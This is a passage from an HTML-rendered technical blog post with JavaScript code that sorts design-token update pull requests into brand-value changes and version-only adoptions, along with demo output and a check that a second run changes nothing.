&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; m &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { version: m[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;], body: m[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;] } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; null;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That receipt is the second number. The first is whatever pin the consumer’s CI uses to install the generator. The third is the release that actually exists. Under a rule of “only act when the emitted values differ”, those three drift apart the moment you ship a release that changes no values, which is most releases.&lt;/p&gt;
&lt;p&gt;The failure is not that a repo is behind. The failure is that nobody can tell whether it is behind, because “receipt says 0.1.0” is consistent with both perfectly current and eighteen months stale.&lt;/p&gt;
&lt;h2&gt;Classify the update instead of suppressing it&lt;/h2&gt;
&lt;p&gt;There are two genuinely different kinds of update, and the mistake is collapsing them into one boolean. Compute both:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// classify.mjs — decide what kind of update a consumer needs.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { findRegion, renderRegion } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./region.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; trim&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (s) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; s.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;replace&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;/\s+$/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;@param&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; file&lt;/span&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    current contents of the consumer&apos;s file&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;@param&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; name&lt;/span&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    region name&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;@param&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; body&lt;/span&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    what today&apos;s tokens emit&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;@param&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; version&lt;/span&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; the release being propagated&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; classify&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(file, name, body, version) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; found &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; findRegion&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(file, name);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;found) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { status: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;missing&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, changed: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; brandChanged &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; trim&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(found.body) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!==&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; trim&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(body);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; versionChanged &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; found.version &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!==&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; version;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    status: brandChanged &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;brand&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; versionChanged &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;adopt&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;current&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    brandChanged,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    versionChanged,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    changed: brandChanged &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; versionChanged,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    wroteBy: found.version,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    next: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;renderRegion&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(name, version, body),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; prTitle&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(result, version) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; result.brandChanged&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    ?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `brand v${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}: BRAND VALUES CHANGED`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    :&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `adopt brand v${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;changed&lt;/code&gt; is what decides whether to open a pull request, and it is now the union of the two. &lt;code&gt;brandChanged&lt;/code&gt; is what decides how loudly to say so. Keeping them as separate booleans on the result, rather than re-deriving them later from the status string, matters more than it looks: a status match written as &lt;code&gt;/updated$/&lt;/code&gt; once quietly missed the &lt;code&gt;would update&lt;/code&gt; case in dry-run mode, so a dry run reported “nothing to do” while printing a changed region on the line above.&lt;/p&gt;
&lt;p&gt;The title carries the classification because the title is the only part of a pull request everyone reads. Google’s SRE book makes the general version of this argument about alerting: “Every page should be actionable”, and when they are not, “employees second-guess, skim, or even ignore incoming alerts, sometimes even ignoring a ‘real’ page that’s masked by the noise” (&lt;a href=&quot;https://sre.google/sre-book/monitoring-distributed-systems/&quot;&gt;Monitoring Distributed Systems&lt;/a&gt;). A bot that titles every pull request the same way has built exactly that.&lt;/p&gt;
&lt;h2&gt;Run it against a fleet&lt;/h2&gt;
&lt;p&gt;Three consumers, one release, one pass:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// demo.mjs — three consumers, one release.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { classify, prTitle } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./classify.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { renderRegion } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./region.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; RELEASE &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;0.6.0&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; body &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;--brand-accent: #f26722;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; consumers &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  &apos;site&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;:    &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;renderRegion&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;tokens&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;0.1.0&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, body),                        &lt;/span&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// old pin, same values&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  &apos;budget&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;:  &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;renderRegion&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;tokens&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;0.5.1&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;--brand-accent: #e05500;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;),  &lt;/span&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// stale values&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  &apos;fitness&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;renderRegion&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;tokens&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;0.6.0&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, body),                        &lt;/span&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// already current&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [name, file] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; Object.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;entries&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(consumers)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; classify&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(file, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;tokens&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, body, RELEASE);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; action &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r.changed &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `PR: ${&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;prTitle&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;RELEASE&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;no PR&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    `${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;padEnd&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} receipt ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;wroteBy&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;padEnd&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} status ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;status&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;padEnd&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;action&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki is-cmdbar vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;node&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; demo.mjs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;site     receipt 0.1.0  status adopt    PR: adopt brand v0.6.0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;budget   receipt 0.5.1  status brand    PR: brand v0.6.0: BRAND VALUES CHANGED&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;fitness  receipt 0.6.0  status current  no PR&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That is the whole payoff. &lt;code&gt;site&lt;/code&gt; gets a one-line diff nobody needs to think about. &lt;code&gt;budget&lt;/code&gt; gets a shouty title and a diff a designer should look at. &lt;code&gt;fitness&lt;/code&gt; gets nothing, because nothing moved, and a bot that opens a pull request against a fully current repository has stopped being a signal.&lt;/p&gt;
&lt;p&gt;Verify the property that makes the whole scheme work, which is that applying the update makes the next run a no-op:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;node&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -e&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;import(&apos;./classify.mjs&apos;).then(async ({classify}) =&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  const { renderRegion } = await import(&apos;./region.mjs&apos;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  const body = &apos;--brand-accent: #f26722;&apos;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  const before = renderRegion(&apos;tokens&apos;, &apos;0.1.0&apos;, body);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  const first = classify(before, &apos;tokens&apos;, body, &apos;0.6.0&apos;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  const second = classify(first.next, &apos;tokens&apos;, body, &apos;0.6.0&apos;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  console.log(&apos;first :&apos;, first.status, first.changed);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  console.log(&apos;second:&apos;, second.status, second.changed);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;first : adopt true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;second: current false&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the second run is not &lt;code&gt;current false&lt;/code&gt;, your writer and your reader disagree about the bytes, and the bot will re-open the same pull request forever.&lt;/p&gt;
&lt;h2&gt;The trade you are making, stated plainly&lt;/h2&gt;
&lt;p&gt;Always acting means a few pull requests per release that change one number and nothing else. That is a real cost and it is worth naming rather than pretending away. What you buy is that every consumer’s state is readable at a glance, without knowing any rules, and there is prior art for valuing that: Renovate ships a &lt;a href=&quot;https://docs.renovatebot.com/key-concepts/dashboard/&quot;&gt;Dependency Dashboard&lt;/a&gt; for the same reason, on the grounds that with updates that need manual approval “you’ll probably forget to check often enough, and out of sight means out of mind!”&lt;/p&gt;
